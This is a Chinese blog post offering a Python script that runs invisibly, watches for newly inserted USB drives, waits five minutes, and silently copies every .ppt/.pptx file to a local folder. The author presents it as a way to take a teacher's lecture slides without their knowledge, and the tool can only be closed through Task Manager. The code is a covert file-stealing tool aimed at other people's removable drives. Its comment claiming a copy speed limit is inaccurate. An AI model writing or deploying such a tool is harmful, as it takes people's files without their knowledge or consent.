静默拷贝U盘里的ppt/pptx

专门用于拷贝老师讲课的课件!!!本程序需要编译,运行后无界面,如果需要关闭的话,请从任务管理器里关闭

附上代码:

python 复制代码
import os
import shutil
import time
import psutil
 
# 获取本机硬盘盘符列表
def get_disk_drives():
    disk_partitions = psutil.disk_partitions(all=False)
    drives = [partition.device.upper() for partition in disk_partitions if partition.fstype != "" and "removable" in partition.opts]
    return drives
 
# 拷贝 U盘中的 .ppt.pptx 文件到 指定目录
def copy_ppt_files(source_folder, destination_folder, speed_limit_kb):
    for root, dirs, files in os.walk(source_folder):
        for file in files:
            if file.endswith((".ppt", ".pptx")):
                src_file = os.path.join(root, file)
                dst_root = root.replace(source_folder, destination_folder)
                dst_file = os.path.join(dst_root, file)
                os.makedirs(dst_root, exist_ok=True)
                with open(src_file, 'rb') as fsrc:
                    with open(dst_file, 'wb') as fdst:
                        shutil.copyfileobj(fsrc, fdst, length=speed_limit_kb * 1024)
 
# 检查是否有新的 U 盘插入
def check_for_new_drive(speed_limit_kb=1024):  # 默认速度限制为 1024 KB/s
    drives = get_disk_drives()
    drives = [drive for drive in drives if drive not in excluded_drives]
    new_drives = [drive for drive in drives if drive not in known_drives]
    for new_drive in new_drives:
        known_drives.append(new_drive)
        print(f"New drive detected: {new_drive}")
        time.sleep(300)  # 等待300秒后再开始拷贝
        copy_ppt_files(new_drive, destination_drive, speed_limit_kb)
 
if __name__ == "__main__":
    # 已知的驱动器列表,用于检测新插入的驱动器
    known_drives = []
    excluded_drives = [drive + ':' for drive in "ABCDEFGHIJKLMNOPQRSTUVWXYZ"]
    destination_drive = "d:\\Download\\"  # 目标路径
    # 检查目标路径是否存在,如果不存在则创建它
    if not os.path.exists(destination_drive):
        os.makedirs(destination_drive)
    # 每隔一分钟检查U盘一次
    while True:
        check_for_new_drive()
        time.sleep(60)  # 等待60秒
相关推荐
yaoxin521123几秒前
351. Java IO API - Java 文件操作:java.io.File 与 java.nio.file 功能对比 - 3
java·python·nio
denggun123451 分钟前
Swift 版本历年更新记录(核心里程碑 + 关键特性)
开发语言·ios·swift
2301_761471392 分钟前
day 46
python
所谓伊人,在水一方3333 分钟前
【机器学习精通】第2章 | 优化算法深度解析:从梯度下降到自适应优化器
人工智能·python·算法·机器学习·信息可视化
Jackson@ML4 分钟前
2026最新版Anaconda Navigator for Mac安装使用指南
python·macos·anaconda
Storynone7 分钟前
【Day24】LeetCode:122. 买卖股票的最佳时机 II,55. 跳跃游戏,45. 跳跃游戏II,1005. K次取反后最大化的数组和
python·算法·leetcode
所谓伊人,在水一方3339 分钟前
【机器学习精通】第3章 | 正则化与泛化:防止过拟合的理论与实践
开发语言·人工智能·机器学习·信息可视化·系统架构
坚持学习前端日记10 分钟前
Agent AI 后端接口对接与大模型适配指南
前端·人工智能·python·ios
无心水11 分钟前
【java开发常见错误】5、HTTP调用避坑指南:超时、重试、并发,一个都不能少
java·开发语言·后端·http·架构师·http调用·后端开发错误
十五年专注C++开发11 分钟前
dlib: 一个跨平台的 C++ 机器学习 / 数值计算库
c++·人工智能·python·机器学习